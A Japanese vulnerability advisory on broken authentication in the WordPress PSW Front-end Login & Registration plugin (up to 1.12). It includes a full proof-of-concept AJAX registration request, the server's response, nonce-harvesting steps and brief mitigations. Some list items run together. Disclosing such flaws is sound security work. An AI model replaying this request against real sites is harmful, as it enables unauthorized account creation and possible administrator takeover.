
WordPress PSW Front-end Login & Registration Plugin <= 1.12 は壊れた認証(Broken Authentication)に対して脆弱です
このプラグインは、その登録メカニズムに重大な欠陥を晒しています。
ショートコードベースのフロントエンド登録フォーム([psw_registration])を提供する一方で、適切なロール制限や安全な検証を強制できていません。
攻撃者はこのメカニズムを悪用して、認証なしでアカウントを作成できます。さらに、サイトの default_role が不適切に設定されている場合(例: administrator)、完全な権限昇格が発生する可能性があります。
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_formはリクエストを通すために必要な nonce フィールドです。
この nonce は、フロントエンドの[psw_registration]ショートコードから動的に生成されます。
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_end への 未認証 AJAX アクセス を許可していますdefault_role 設定を尊重し、ユーザーロールを割り当てますadministrator)、攻撃者は完全なアクセス権を取得しますpsw_form の有効な nonce を生成し、登録フォームを公開するには、次のショートコードを使用します:
[psw_registration]
これにより、AJAX 呼び出しを成功させるために必要な隠し nonce フィールドを含む登録フォームが表示されます。
default_role を監視し、安全な値(例: subscriber)に固定するこのレポートは 教育および正規に許可されたセキュリティテストの目的のみ を対象としています。
許可なくこの脆弱性を悪用することは、法的・倫理的境界に違反する可能性があります。
NXploited (Khaled_Alenazi)